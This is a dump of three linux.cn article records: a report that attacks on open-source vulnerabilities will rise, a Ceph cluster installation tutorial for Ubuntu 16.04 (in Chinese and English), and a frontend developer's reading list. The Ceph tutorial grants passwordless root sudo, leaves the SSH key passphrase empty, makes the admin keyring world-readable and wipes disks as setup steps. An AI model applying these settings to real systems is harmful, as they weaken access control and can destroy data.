8,181 | 基于开源软件漏洞的攻击今年将上升 20% | http://www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html | 2017-02-07T12:49:50 | [
"开源软件",
"缺陷"
] | https://linux.cn/article-8181-1.html | 
随着开源代码在商业和家用应用上越来越流行,基于它的漏洞的攻击也日益增多,据黑鸭子软件对收集的开源项目的数据统计,其预计今年的攻击增长 20% 。
[黑鸭子软件](https://www.blackducksoftware.com/)安全战略部的副总经理 Mike Pittenger 介绍说,包含了 50% 以上的自由、开放源软件的商业软件项目占比从 2011 年的 3% 上升到今天的 33%。
他说,平均每个商业应用使用超过 100 个开源组件,而三分之二的商业应用代码带有已知漏洞。
更糟糕的是,软件的买家常常无法知道他们购买的软件中有哪些开源组件。
>
> 相关阅读: [浪漫开发:如何避免使用开源时易受攻击感](http://csoonline.com/article/2883315/application-security/romancing-development-how-to-avoid-feeling-vulnerable-with-open-source.html#tk.cso-infsb)
>
>
>
“一般来说,公司并不乐于提供这些”,他说到。他们为客户提供的组件列表常常是不完整的。“如果你未经他们同意就扫描二进制码,你很可能违反了他们的许可协议,给自己带来很多麻烦”。
一些大公司买家可能有权要求他们完整披露,并由第三方比如黑鸭子软件进行扫描验证。
完全避免开源软件并不是一个好的选择。很多开源库是事实上的工业标准,而且从头开始写同样的代码太耗费时间,延误了投放市场的时间,损害了公司的竞争力。因此,商业软件商使用开源代码的越来越多,这个趋势在加速,Pittenger 说到。
同样的逻辑适用于企业自建软件, [ISACA](http://www.isaca.org/) 思维领导与研究部门总监 Ed Moyle 说。ISACA 是 IT 和 网络安全专业人员的一个全球化组织。
“也有很多社区支持活跃的项目,带来可靠的安全和功能更新”,他补充说。“在特定情况下,如果能够审计代码会带来安全的好处,当然也带来了高度定制软件的能力。按照以往经验,如果一个商业工具能够做什么事,很可能就会有开源工具提供同样的功能。”但是,“**多个眼睛**”来检查开源代码漏洞的方式并不总能有好的效果。
“任何人都可以审计代码,但也可能每个人都认为有人来审计,结果最终谁都没有做此事。” 来自 [AlienVault](https://www.alienvault.com/) 的安全顾问 Javvad Malik 说。“这是一个问题。”
结果,管理开源组件越来越棘手,而那些坏家伙们也意识到这一点。
开源代码到处都是,所以攻击者可以使用同样的利用方式寻找一大批目标。由于跟踪开源代码的困难,使用者常常不打补丁和更新,这样,黑客可以利用已知漏洞和已公布的缺陷利用例子。
物联网的兴起去年也成为了一个主要的安全问题,今年将继续是一个主要问题,专家们预测。
“智能设备和物联网中使用了许多开源软件,这正是 Mirai 僵尸网络病毒利用的漏洞,”Malik 说。(LCTT 译注:自 2016 年 9 月黑客操控感染了恶意软件 Mirai 的物联网设备发起了 DDoS 攻击,影响波及很多著名网站,并导致服务中断,影响颇深颇广。)
同时,开发者常常不检查[开源代码漏洞](http://csoonline.com/article/3077815/application-security/your-open-source-security-problem-is-worse-than-you-think.html),或者怀疑有问题但由于最后期限的压力,而直接使用了。所以,不只是未打补丁的漏洞存在着,还有新写的代码会集成进去旧的、已知的漏洞,黑鸭子软件的 Pittenger 说到。
商业软件项目中的漏洞平均存活时间为 5 年,他说到。
[心血漏洞](http://csoonline.com/article/2142103/security/is-open-source-to-blame-for-the-heartbleed-bug.html)这个漏洞早在 2014 年初就在 OpenSSL 库中发现,并被广泛宣传。但去年,在测试的应用中仍有 10% 存在此漏洞。
此外,每年有 2000 到 4000 个新漏洞被发现,Pittenger 补充说。
要解决这个问题,需要软件商和顾客的切实行动,以及企业级软件开发者的安全意识——不过目前看在最终改善前,形势很可能还要恶化。
欢迎对此提出您的评论。
| 301 | Moved Permanently | null |
8,182 | 如何在 Ubuntu 16.04 中安装 Ceph 存储集群 | https://www.howtoforge.com/tutorial/how-to-install-a-ceph-cluster-on-ubuntu-16-04/ | 2017-02-07T19:42:47 | [
"Ceph",
"存储"
] | https://linux.cn/article-8182-1.html | Ceph 是一个高性能、可靠、可扩展的开源存储平台。它是一个自由的分布式存储系统,提供了对象、块和文件级存储的接口,并可以不受单点故障的影响而运行。

在这个教程中,我将指导你在 Ubuntu 16.04 服务器上安装建立一个 Ceph 集群。Ceph 集群包括这些组件:
* **Ceph OSD (ceph-osd)** - 控制数据存储,数据复制和恢复。Ceph 集群需要至少两个 Ceph OSD 服务器。这次安装中我们将使用三个 Ubuntu 16.04 服务器。
* **Ceph Monitor (ceph-mon)** - 监控集群状态并运行 OSD 映射 和 CRUSH 映射。这里我们使用一个服务器。
* **Ceph Meta Data Server (ceph-mds)** - 如果你想把 Ceph 作为文件系统使用,就需要这个。
### 前提条件
* 6 个安装了 Ubuntu 16.04 的服务器节点
* 所有节点上的 root 权限
我将使用下面这些 hostname /IP 安装:
```
主机名 IP 地址
ceph-admin 10.0.15.10
mon1 10.0.15.11
osd1 10.0.15.21
osd2 10.0.15.22
osd3 10.0.15.23
client 10.0.15.15
```
### 第 1 步 - 配置所有节点
这次安装,我将配置所有的 6 个节点来准备安装 Ceph 集群软件。所以你必须在所有节点运行下面的命令。然后确保所有节点都安装了 ssh-server。
#### 创建 Ceph 用户
在所有节点创建一个名为 `cephuser` 的新用户
```
useradd -m -s /bin/bash cephuser
passwd cephuser
```
创建完新用户后,我们需要给 `cephuser` 配置无密码的 sudo 权限。这意味着 `cephuser` 可以不先输入密码而获取到 sudo 权限运行。
运行下面的命令来完成配置。
```
echo "cephuser ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/cephuser
chmod 0440 /etc/sudoers.d/cephuser
sed -i s'/Defaults requiretty/#Defaults requiretty'/g /etc/sudoers
```
#### 安装和配置 NTP
安装 NTP 来同步所有节点的日期和时间。先运行 `ntpdate` 命令通过 NTP 设置日期。我们将使用 US 池的 NTP 服务器。然后开启并使 NTP 服务在开机时启动。
```
sudo apt-get install -y ntp ntpdate ntp-doc
ntpdate 0.us.pool.ntp.org
hwclock --systohc
systemctl enable ntp
systemctl start ntp
```
#### 安装 Open-vm-tools
如果你正在 VMware 里运行所有节点,你需要安装这个虚拟化工具。
```
sudo apt-get install -y open-vm-tools
```
#### 安装 Python 和 parted
在这个教程,我们需要 python 包来建立 ceph 集群。安装 python 和 python-pip。
```
sudo apt-get install -y python python-pip parted
```
#### 配置 Hosts 文件
用 vim 编辑器编辑所有节点的 `hosts` 文件。
```
vim /etc/hosts
```
粘帖如下配置:
```
10.0.15.10 ceph-admin
10.0.15.11 mon1
10.0.15.21 ceph-osd1
10.0.15.22 ceph-osd2
10.0.15.23 ceph-osd3
10.0.15.15 ceph-client
```
保存 `hosts` 文件,然后退出 vim 编辑器。
现在你可以试着在两个服务器间 `ping` 主机名来测试网络连通性。
```
ping -c 5 mon1
```

### 第 2 步 - 配置 SSH 服务器
这一步,我们将配置 **ceph-admin 节点**。管理节点是用来配置监控节点和 osd 节点的。登录到 ceph-admin 节点然后使用 `cephuser` 用户。
```
ssh root@ceph-admin
su - cephuser
```
管理节点用来安装配置所有集群节点,所以 ceph-admin 上的用户必须有不使用密码连接到所有节点的权限。我们需要为 'ceph-admin' 节点的 `cephuser` 用户配置无密码 SSH 登录权限。
生成 `cephuser` 的 ssh 密钥。
```
ssh-keygen
```
让密码为空。
下面,为 ssh 创建一个配置文件
```
vim ~/.ssh/config
```
粘帖如下配置:
```
Host ceph-admin
Hostname ceph-admin
User cephuser
Host mon1
Hostname mon1
User cephuser
Host ceph-osd1
Hostname ceph-osd1
User cephuser
Host ceph-osd2
Hostname ceph-osd2
User cephuser
Host ceph-osd3
Hostname ceph-osd3
User cephuser
Host ceph-client
Hostname ceph-client
User cephuser
```
保存文件并退出 vim。

改变配置文件权限为 644。
```
chmod 644 ~/.ssh/config
```
现在使用 `ssh-copy-id` 命令增加密钥到所有节点。
```
ssh-keyscan ceph-osd1 ceph-osd2 ceph-osd3 ceph-client mon1 >> ~/.ssh/known_hosts
ssh-copy-id ceph-osd1
ssh-copy-id ceph-osd2
ssh-copy-id ceph-osd3
ssh-copy-id mon1
```
当请求输入密码时输入你的 `cephuser` 密码。

现在尝试从 ceph-admin 节点登录 osd1 服务器,测试无密登录是否正常。
```
ssh ceph-osd1
```

### 第 3 步 - 配置 Ubuntu 防火墙
出于安全原因,我们需要在服务器打开防火墙。我们更愿使用 Ufw(不复杂防火墙)来保护系统,这是 Ubuntu 默认的防火墙。在这一步,我们在所有节点开启 ufw,然后打开 ceph-admin、ceph-mon 和 ceph-osd 需要使用的端口。
登录到 ceph-admin 节点,然后安装 ufw 包。
```
ssh root@ceph-admin
sudo apt-get install -y ufw
```
打开 80,2003 和 4505-4506 端口,然后重启防火墙。
```
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 2003/tcp
sudo ufw allow 4505:4506/tcp
```
开启 ufw 并设置开机启动。
```
sudo ufw enable
```

从 ceph-admin 节点,登录到监控节点 mon1 然后安装 ufw。
```
ssh mon1
sudo apt-get install -y ufw
```
打开 ceph 监控节点的端口然后开启 ufw。
```
sudo ufw allow 22/tcp
sudo ufw allow 6789/tcp
sudo ufw enable
```
最后,在每个 osd 节点 ceph-osd1、ceph-osd2 和 ceph-osd3 上打开这些端口 6800-7300。
从 ceph-admin 登录到每个 ceph-osd 节点安装 ufw。
```
ssh ceph-osd1
sudo apt-get install -y ufw
```
在 osd 节点打开端口并重启防火墙。
```
sudo ufw allow 22/tcp
sudo ufw allow 6800:7300/tcp
sudo ufw enable
```
ufw 防火墙配置完成。
### 第 4 步 - 配置 Ceph OSD 节点
这个教程里,我们有 3 个 OSD 节点,每个节点有两块硬盘分区。
1. **/dev/sda** 用于根分区
2. **/dev/sdb** 空闲分区 - 20GB
我们要使用 **/dev/sdb** 作为 ceph 磁盘。从 ceph-admin 节点,登录到所有 OSD 节点,然后格式化 /dev/sdb 分区为 **XFS** 文件系统。
```
ssh ceph-osd1
ssh ceph-osd2
ssh ceph-osd3
```
使用 fdisk 命令检查分区表。
```
sudo fdisk -l /dev/sdb
```
格式化 /dev/sdb 分区为 XFS 文件系统,使用 `parted` 命令创建一个 GPT 分区表。
```
sudo parted -s /dev/sdb mklabel gpt mkpart primary xfs 0% 100%
```
下面,使用 `mkfs` 命令格式化分区为 XFS 格式。
```
sudo mkfs.xfs -f /dev/sdb
```
现在检查分区,然后你会看见一个 XFS 文件系统的 /dev/sdb 分区。
```
sudo fdisk -s /dev/sdb
sudo blkid -o value -s TYPE /dev/sdb
```

### 第 5 步 - 创建 Ceph 集群
在这步,我们将从 ceph-admin 安装 Ceph 到所有节点。马上开始,先登录到 ceph-admin 节点。
```
ssh root@ceph-admin
su - cephuser
```
#### 在 ceph-admin 节点上安装 ceph-deploy
首先我们已经在系统上安装了 python 和 python-pip。现在我们需要从 pypi python 仓库安装 Ceph 部署工具 '**ceph-deploy**'。
用 pip 命令在 ceph-admin 节点安装 ceph-deploy 。
```
sudo pip install ceph-deploy
```
注意: 确保所有节点都已经更新。
ceph-deploy 工具已经安装完毕后,为 Ceph 集群配置创建一个新目录。
#### 创建一个新集群
创建一个新集群目录。
```
mkdir cluster
cd cluster/
```
下一步,用 `ceph-deploy` 命令通过定义监控节点 mon1 创建一个新集群。
```
ceph-deploy new mon1
```
命令将在集群目录生成 Ceph 集群配置文件 `ceph.conf`。

用 vim 编辑 `ceph.conf`。
```
vim ceph.conf
```
在 `[global]` 块下,粘贴下面的配置。
```
# Your network address
public network = 10.0.15.0/24
osd pool default size = 2
```
保存文件并退出编辑器。
#### 安装 Ceph 到所有节点
现在用一个命令从 ceph-admin 节点安装 Ceph 到所有节点。
```
ceph-deploy install ceph-admin ceph-osd1 ceph-osd2 ceph-osd3 mon1
```
命令将自动安装 Ceph 到所有节点:mon1、osd1-3 和 ceph-admin - 安装将花一些时间。
现在到 mon1 节点部署监控节点。
```
ceph-deploy mon create-initial
```
命令将创建一个监控密钥,用 ceph 命令检查密钥。
```
ceph-deploy gatherkeys mon1
```

#### 增加 OSD 到集群
在所有节点上安装了 Ceph 之后,现在我们可以增加 OSD 守护进程到该集群。OSD 守护进程将在磁盘 /dev/sdb 分区上创建数据和日志 。
检查所有 osd 节点的 /dev/sdb 磁盘可用性。
```
ceph-deploy disk list ceph-osd1 ceph-osd2 ceph-osd3
```

你将看见我们之前创建 XFS 格式的 /dev/sdb。
下面,在所有 OSD 节点上用 zap 选项删除该分区表。
```
ceph-deploy disk zap ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb
```
这个命令将删除所有 Ceph OSD 节点的 /dev/sdb 上的数据。
现在准备所有 OSD 节点,请确保结果没有报错。
```
ceph-deploy osd prepare ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb
```
当你看到 ceph-osd1-3 结果已经准备好供 OSD 使用,就表明命令已经成功。

用下面的命令激活 OSD:
```
ceph-deploy osd activate ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb
```
现在你可以再一次检查 OSDS 节点的 sdb 磁盘。
```
ceph-deploy disk list ceph-osd1 ceph-osd2 ceph-osd3
```

结果是 /dev/sdb 现在已经分为两个区:
1. **/dev/sdb1** - Ceph Data
2. **/dev/sdb2** - Ceph Journal
或者你直接在 OSD 节点山检查。
```
ssh ceph-osd1
sudo fdisk -l /dev/sdb
```

接下来,部署管理密钥到所有关联节点。
```
ceph-deploy admin ceph-admin mon1 ceph-osd1 ceph-osd2 ceph-osd3
```
在所有节点运行下面的命令,改变密钥文件权限。
```
sudo chmod 644 /etc/ceph/ceph.client.admin.keyring
```
Ceph 集群在 Ubuntu 16.04 已经创建完成。
### 第 6 步 - 测试 Ceph
在第 4 步,我们已经安装并创建了一个新 Ceph 集群,然后添加了 OSD 节点到集群。现在我们应该测试集群确保它如期工作。
从 ceph-admin 节点,登录到 Ceph 监控服务器 mon1。
```
ssh mon1
```
运行下面命令来检查集群是否健康。
```
sudo ceph health
```
现在检查集群状态。
```
sudo ceph -s
```
你可以看到下面返回结果:

确保 Ceph 健康状态是 `OK` 的,有一个监控节点 mon1 IP 地址为 '**10.0.15.11**'。有 **3 个 OSD** 服务器都是 **up** 状态并且正在运行,可用磁盘空间为 **45GB** - 3x15GB 的 Ceph 数据 OSD 分区。
我们在 Ubuntu 16.04 建立一个新 Ceph 集群成功。
### 参考
* <http://docs.ceph.com/docs/jewel/>
---
via: <https://www.howtoforge.com/tutorial/how-to-install-a-ceph-cluster-on-ubuntu-16-04/>
作者:[Muhammad Arul](https://www.howtoforge.com/tutorial/how-to-install-a-ceph-cluster-on-ubuntu-16-04/) 译者:[wyangsun](https://github.com/wyangsun) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | # How to install a Ceph Storage Cluster on Ubuntu 16.04
Ceph is an open source storage platform, it provides high performance, reliability, and scalability. It's a free distributed storage system that provides an interface for object, block, and file-level storage and can operate without a single point of failure.
In this tutorial, I will guide you to install and build a Ceph cluster on Ubuntu 16.04 server. A Ceph cluster consists of these components:
**Ceph OSDs (ceph-osd)**- Handles the data storage, data replication, and recovery. A Ceph cluster needs at least two Ceph OSD servers. We will use three Ubuntu 16.04 servers in this setup.**Ceph Monitor (ceph-mon)**- Monitors the cluster state and runs the OSD map and CRUSH map. We will use one server here.**Ceph Meta Data Server (ceph-mds)**- this is needed if you want to use Ceph as a File System.
**Prerequisites**
- 6 server nodes with Ubuntu 16.04 server installed
- Root privileges on all nodes
I will use the following hostname / IP setup:
**hostname** **IP address***ceph-admin 10.0.15.10mon1 10.0.15.11osd1 10.0.15.21osd2 10.0.15.22osd3 10.0.15.23client 10.0.15.15*
## Step 1 - Configure All Nodes
In this step, we will configure all 6 nodes to prepare them for the installation of the Ceph Cluster software. So you have to follow and run the commands below on all nodes. And make sure that ssh-server is installed on all nodes.
**Create the Ceph User**
Create a new user named '**cephuser**' on all nodes.
useradd -m -s /bin/bash cephuser
passwd cephuser
After creating the new user, we need to configure ** cephuser** for passwordless sudo privileges. This means that 'cephuser' can run and get sudo privileges without having to enter a password first.
Run the commands below to achieve that.
echo "cephuser ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/cephuser
chmod 0440 /etc/sudoers.d/cephuser
sed -i s'/Defaults requiretty/#Defaults requiretty'/g /etc/sudoers
**Install and Configure NTP**
Install NTP to synchronize date and time on all nodes. Run the ntpdate command to set the date and time via NTP. We will use the US pool NTP servers. Then start and enable NTP server to run at boot time.
sudo apt-get install -y ntp ntpdate ntp-doc
ntpdate 0.us.pool.ntp.org
hwclock --systohc
systemctl enable ntp
systemctl start ntp
**Install Open-vm-tools**
If you are running all nodes inside VMware, you need to install this virtualization utility.
sudo apt-get install -y open-vm-tools
**Install Python and parted**
In this tutorial, we need python packages for building the ceph-cluster. Install python and python-pip.
sudo apt-get install -y python python-pip parted
**Configure the Hosts File**
Edit the hosts file on all nodes with vim editor.
vim /etc/hosts
Paste the configuration below:
10.0.15.10 ceph-admin
10.0.15.11 mon1
10.0.15.21 ceph-osd1
10.0.15.22 ceph-osd2
10.0.15.23 ceph-osd3
10.0.15.15 ceph-client
Save the hosts file and exit the vim editor.
Now you can try to ping between the server hostnames to test the network connectivity.
ping -c 5 mon1
## Step 2 - Configure the SSH Server
In this step, we will configure the **ceph-admin node**. The admin node is used for configuring the monitor node and osd nodes. Login to the ceph-admin node and access the '**cephuser**'.
ssh root@ceph-admin
su - cephuser
The admin node is used for installing and configuring all cluster node, so the user on the ceph-admin node must have privileges to connect to all nodes without a password. We need to configure password-less SSH access for 'cephuser' on the 'ceph-admin' node.
Generate the ssh keys for '**cephuser**'.
ssh-keygen
Leave passphrase is blank/empty.
Next, create a configuration file for the ssh config.
vim ~/.ssh/config
Paste the configuration below:
Host ceph-admin
Hostname ceph-admin
User cephuser
Host mon1
Hostname mon1
User cephuser
Host ceph-osd1
Hostname ceph-osd1
User cephuser
Host ceph-osd2
Hostname ceph-osd2
User cephuser
Host ceph-osd3
Hostname ceph-osd3
User cephuser
Host ceph-client
Hostname ceph-client
User cephuser
Save the file and exit vim.
Change the permission of the config file to 644.
chmod 644 ~/.ssh/config
Now add the key to all nodes with the ssh-copy-id command.
ssh-keyscan ceph-osd1 ceph-osd2 ceph-osd3 ceph-client mon1 >> ~/.ssh/known_hosts
ssh-copy-id ceph-osd1
ssh-copy-id ceph-osd2
ssh-copy-id ceph-osd3
ssh-copy-id mon1
Type in your cephuser password when requested.
Now try to access the osd1 server from the ceph-admin node to test if the password-less login works.
ssh ceph-osd1
## Step 3 - Configure the Ubuntu Firewall
For security reasons, we need to turn on the firewall on the servers. Preferably we use Ufw (Uncomplicated Firewall), the default Ubuntu firewall, to protect the system. In this step, we will enable ufw on all nodes, then open the ports needed by ceph-admin, ceph-mon and ceph-osd.
Login to the ceph-admin node and install the ufw packages.
ssh root@ceph-admin
sudo apt-get install -y ufw
Open port 80, 2003 and 4505-4506, then reload firewalld.
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 2003/tcp
sudo ufw allow 4505:4506/tcp
Start and enable ufw to start at boot time.
sudo ufw enable
From the ceph-admin node, login to the monitor node 'mon1' and install ufw.
ssh mon1
sudo apt-get install -y ufw
Open the ports for the ceph monitor node and start ufw.
sudo ufw allow 22/tcp
sudo ufw allow 6789/tcp
sudo ufw enable
Finally, open these ports on each osd node: ceph-osd1, ceph-osd2 and ceph-osd3 - port 6800-7300.
Login to each of the ceph-osd nodes from the ceph-admin, and install ufw.
ssh ceph-osd1
sudo apt-get install -y ufw
Open the ports on the osd nodes and reload firewalld.
sudo ufw allow 22/tcp
sudo ufw allow 6800:7300/tcp
sudo ufw enable
The ufw firewall configuration is finished.
## Step 4 - Configure the Ceph OSD Nodes
In this tutorial, we have 3 OSD nodes, each of these nodes has two hard disk partitions.
**/dev/sda**for root partition**/dev/sdb**is empty partition - 20GB
We will use **/dev/sdb** for the ceph disk. From the ceph-admin node, login to all OSD nodes and format the /dev/sdb partition with **XFS** file system.
ssh ceph-osd1
ssh ceph-osd2
ssh ceph-osd3
Check the partition scheme with the fdisk command.
sudo fdisk -l /dev/sdb
Format the /dev/sdb partition with an XFS filesystem and with a GPT partition table by using the parted command.
`sudo parted -s /dev/sdb mklabel gpt mkpart primary xfs 0% 100%`
Next, format the partition in XFS format with the mkfs command.
sudo mkfs.xfs -f /dev/sdb
Now check the partition, and you will see a XFS /dev/sdb partition.
sudo fdisk -s /dev/sdb
sudo blkid -o value -s TYPE /dev/sdb
## Step 5 - Build the Ceph Cluster
In this step, we will install Ceph on all nodes from the ceph-admin. To get started, login to the ceph-admin node.
ssh root@ceph-admin
su - cephuser
**Install ceph-deploy on ceph-admin node**
In the first step we've already installed python and python-pip on to the system. Now we need to install the Ceph deployment tool '**ceph-deploy**' from the pypi python repository.
Install ceph-deploy on the ceph-admin node with the pip command.
sudo pip install ceph-deploy
Note: Make sure all nodes are updated.
After the ceph-deploy tool has been installed, create a new directory for the Ceph cluster configuration.
**Create a new Cluster**
Create a new cluster directory.
mkdir cluster
cd cluster/
Next, create a new cluster with the '**ceph-deploy**' command by defining the monitor node '**mon1**'.
ceph-deploy new mon1
The command will generate the Ceph cluster configuration file 'ceph.conf' in cluster directory.
Edit the ceph.conf file with vim.
vim ceph.conf
Under the [global] block, paste the configuration below.
# Your network address
public network = 10.0.15.0/24
osd pool default size = 2
Save the file and exit the editor.
**Install Ceph on All Nodes**
Now install Ceph on all nodes from the ceph-admin node with a single command.
ceph-deploy install ceph-admin ceph-osd1 ceph-osd2 ceph-osd3 mon1
The command will automatically install Ceph on all nodes: mon1, osd1-3 and ceph-admin - The installation will take some time.
Now deploy the monitor node on the mon1 node.
ceph-deploy mon create-initial
The command will create a monitor key, check the key with this ceph command.
ceph-deploy gatherkeys mon1
**Adding OSDS to the Cluster**
After Ceph has been installed on all nodes, now we can add the OSD daemons to the cluster. OSD Daemons will create the data and journal partition on the disk /dev/sdb.
Check the available disk /dev/sdb on all osd nodes.
ceph-deploy disk list ceph-osd1 ceph-osd2 ceph-osd3
You will see /dev/sdb with the XFS format that we created before.
Next, delete the partition tables on all nodes with the zap option.
ceph-deploy disk zap ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb
The command will delete all data on /dev/sdb on the Ceph OSD nodes.
Now prepare all OSD nodes and ensure that there are no errors in the results.
ceph-deploy osd prepare ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb
When you see the ceph-osd1-3 is ready for OSD use in the result, then the command was successful.
Activate the OSD'S with the command below:
ceph-deploy osd activate ceph-osd1:/dev/sdb ceph-osd2:/dev/sdb ceph-osd3:/dev/sdb
Now you can check the sdb disk on OSDS nodes again.
ceph-deploy disk list ceph-osd1 ceph-osd2 ceph-osd3
The result is that /dev/sdb has two partitions now:
**/dev/sdb1**- Ceph Data**/dev/sdb2**- Ceph Journal
Or you check it directly on the OSD node.
ssh ceph-osd1
sudo fdisk -l /dev/sdb
Next, deploy the management-key to all associated nodes.
ceph-deploy admin ceph-admin mon1 ceph-osd1 ceph-osd2 ceph-osd3
Change the permission of the key file by running the command below on all nodes.
sudo chmod 644 /etc/ceph/ceph.client.admin.keyring
The Ceph Cluster on Ubuntu 16.04 has been created.
## Step 6 - Testing Ceph
In step 4, we've installed and created a new Ceph cluster, and added OSDS nodes to the cluster. Now we should test the cluster to make sure that it works as intended.
From the ceph-admin node, log in to the Ceph monitor server '**mon1**'.
ssh mon1
Run the command below to check the cluster health.
sudo ceph health
Now check the cluster status.
sudo ceph -s
You can see results below:
Make sure the Ceph health is **OK** and there is a monitor node '**mon1**' with IP address '**10.0.15.11**'. There are **3 OSD** servers and all are **up** and running, and there should be an available disk space of **45GB** - 3x15GB Ceph Data OSD partition.
We build a new Ceph Cluster on Ubuntu 16.04 successfully. |
8,183 | 前端开发者,2017 年你应该学习什么 | https://medium.freecodecamp.com/what-to-learn-in-2017-if-youre-a-frontend-developer-b6cfef46effd#.ss9xbwrew | 2017-02-08T09:02:00 | [
"设计",
"前端"
] | https://linux.cn/article-8183-1.html | 
在当今的快节奏生态中,我们都倾向于花时间尝试最新的发明,然后在网络上进行激烈的辩论。
这里,我并不是说我们不能这样做。但我们的确应该把脚步放慢一些,并认真了解那些不会有很大变化的事情。这样不仅会提升我们的工作质量和我们所创造的价值 —— 还将切实地帮助我们更快理解这些新的工具。
本文融合了我的个人经历以及对新一年的希冀。正如我想热切表达自己想法一样,我也期待能在下方的评论表单中看到你的建议。
### 学习如何写出可读性高的代码
我们多数的工作并不是编写新代码,而是维护已有代码。这意味着你最终阅读代码的时间要比编写它所花费的时间要长,所以你需要为*之后需要阅读你代码的程序员*优化代码,而不是为了解释器。
这里我建议你按以下顺序 — 由浅入深 — 阅读下面三本书:
* Dustin Boswell 的 《<ruby> <a href="https://www.amazon.com/gp/product/0596802293/"> 编写可读代码的艺术 </a> <rp> ( </rp> <rt> The Art of Readable Code </rt> <rp> ) </rp></ruby>》
* Robert C. Martin 的 《<ruby> <a href="https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882/"> 代码整洁之道 </a> <rp> ( </rp> <rt> Clean Code: A Handbook of Agile Software Craftsmanship </rt> <rp> ) </rp></ruby>》
* Steve McConnell 的 《<ruby> <a href="https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670/"> 代码大全 </a> <rp> ( </rp> <rt> Code Complete: A Practical Handbook of Software Construction </rt> <rp> ) </rp></ruby>》

### 深入学习 JavaScript
现如今,每周都会出现一个新的 JavaScript 框架,并标榜自己比其他的任何旧框架都要好用。这样的情况下,我们很多人更倾向于花费时间来学习框架,而且这样也要比学习 JavaScript 本身要容易的多。如果说你正在使用框架,但并不了解该框架的工作方式,*立刻停止使用它,并去学习 JavaScript,直到你能够理解这些工具的工作方式为止* 。
* 可以从 [Kyle Simpson](https://medium.com/u/5dccb9bb4625) 的 [你所不知道的 JavaScript](https://github.com/getify/You-Dont-Know-JS) 系列开始,这个系列可以在线免费阅读。
* [Eric Elliott](https://medium.com/u/c359511de780) 列出的一个长长的 [2017 年:JavaScript 的学习目标](https://medium.com/javascript-scene/top-javascript-frameworks-topics-to-learn-in-2017-700a397b711#.zhnbn4rvg)。
* [Henrique Alves](https://medium.com/u/b6c3841651ac) 列出的 [进行响应式开发之前必须了解的事情](http://alves.im/blog/before-dive-into-react.html)(实际上就是一个知识框架)。
* Mike Pennisi 的 [JavaScript 开发者:注意你的语言](https://bocoup.com/weblog/javascript-developers-watch-your-language) — 了解 ECMAScript 新特性的中 TC-39 发展过程。
### 学习函数式编程
多年以来,我们一直期待着 JavaScript 引入类,但真正引入类之后,我们却不想在 JavaScript 中使用类了,我们只想使用函数。我们甚至使用函数编写 HTML (JSX)。
* Kyle Simpson 的 [轻量级函数式 JavaScript](https://github.com/getify/Functional-Light-JS)。
* Frisby 教授的 [函数式编程完全指南](https://github.com/MostlyAdequate/mostly-adequate-guide) 和 [在线免费课程](https://egghead.io/courses/professor-frisby-introduces-composable-functional-javascript)。

### 学习设计基础知识
作为一个前端开发者,我们比这个生态中的任何人 —— 甚至可能是设计人员 —— 都要更加接近用户。如果设计者必须去确认你还原在屏幕上的每一个像素,你或许做错了某些事。
* [David Kadavy](https://medium.com/u/5377a93ef640) 的《<ruby> <a href="https://www.amazon.com/Design-Hackers-Reverse-Engineering-Beauty-ebook/dp/B005J578EW"> 黑客设计 </a> <rp> ( </rp> <rt> Design for Hackers </rt> <rp> ) </rp></ruby>》或对应的 [免费课程](http://designforhackers.com/)。
* [Tracy Osborn](https://medium.com/u/e611097a5bd4) 的讲座:[为非设计人员的设计知识](https://youtu.be/ZbrzdMaumNk)。
* [Nathan Barry](https://medium.com/u/ac3090433602) 的 《<ruby> <a href="http://nathanbarry.com/webapps/"> Web 应用设计 </a> <rp> ( </rp> <rt> Design of Web Applications </rt> <rp> ) </rp></ruby>》。
* [Jason Santa Maria](https://medium.com/u/8eddcb9e4ac4) 的 《<ruby> <a href="https://abookapart.com/products/on-web-typography"> Web 页面设计 </a> <rp> ( </rp> <rt> On Web Typography </rt> <rp> ) </rp></ruby>》。
* Alan Cooper 的 《<ruby> <a href="https://www.amazon.com/Inmates-Are-Running-Asylum-Products-ebook/dp/B000OZ0N62/"> 交互设计之路:让高科技产品回归人性 </a> <rp> ( </rp> <rt> The Inmates Are Running the Asylum: Why High Tech Products Drive Us Crazy and How to Restore the Sanity </rt> <rp> ) </rp></ruby>》。
* 两篇关于 UI 动画的文章:[如何使用动画来提高 UX](http://babich.biz/how-to-use-animation-to-improve-ux/)、[过渡界面](https://medium.com/@pasql/transitional-interfaces-926eb80d64e3#.igcwawszz)。
### 学习如何与人协作
有些人很喜欢通过编程来与电脑进行交互,而非与人进行交互。不幸的是,这样的结果并不是很好。
基本上我们不可能完全脱离群体来工作:我们总是需要和其他开发者、设计师以及项目经理 —— 有时候甚至要和用户 —— 交换意见。这是比较难的任务,但如果你想要真正理解你在做什么以及为什么要这么做的话,这一步是非常重要的,因为这正是我们工作的价值所在。
* [John Sonmez](https://medium.com/u/56e8cba02b) 的《<ruby> <a href="https://www.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397/"> 软技能:代码之外的生存指南 </a> <rp> ( </rp> <rt> Soft Skills: The software developer’s life manual </rt> <rp> ) </rp></ruby>》。
* Robert C. Martin 的《<ruby> <a href="https://www.amazon.com/Clean-Coder-Conduct-Professional-Programmers/dp/0137081073/"> 代码整洁之道:程序员的职业素养 </a> <rp> ( </rp> <rt> The Clean Coder: A Code of Conduct for Professional Programmers </rt> <rp> ) </rp></ruby>》。
